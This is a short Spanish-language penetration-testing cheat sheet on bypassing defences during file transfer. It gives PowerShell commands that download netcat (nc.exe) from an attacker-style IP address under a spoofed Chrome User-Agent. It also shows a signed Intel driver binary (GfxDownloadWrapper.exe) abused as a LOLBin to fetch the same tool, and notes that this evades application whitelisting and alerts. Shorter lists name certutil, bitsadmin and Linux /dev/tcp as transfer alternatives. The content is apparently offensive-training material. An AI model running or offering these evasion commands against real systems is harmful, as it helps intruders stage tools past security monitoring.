Bypass

Algunas tecnicas de Bypass

Cambiar User-Agent al usar Invoke-WebRequest

Listar agentes
powershell
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Descargar un archivo con un User Agent de Chrome
powershell
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

Usar LOLBins

Ejemplo: GfxDownloadWrapper.exe (Intel Graphics Driver)
powershell
GfxDownloadWrapper.exe "http://10.10.10.132/file.exe" "C:\Temp\nc.exe"
Ventaja: este binario puede estar permitido por listas blancas de aplicaciones y no genera alertas en algunos entornos.

GTFOBins

En sistemas Linux, los binarios legítimos incluidos por defecto pueden usarse para transferencias de archivos: curl, wget (descargar), scp, rsync (copiar), bash (leer/escribir sobre /dev/tcp).

Alternativas

  • Windows: certutil (descarga desde URL), bitsadmin (servicio BITS), PowerShell (Invoke-WebRequest, Invoke-RestMethod).
  • Linux: python -m http.server (servidor web), /dev/tcp (conexiones TCP manuales).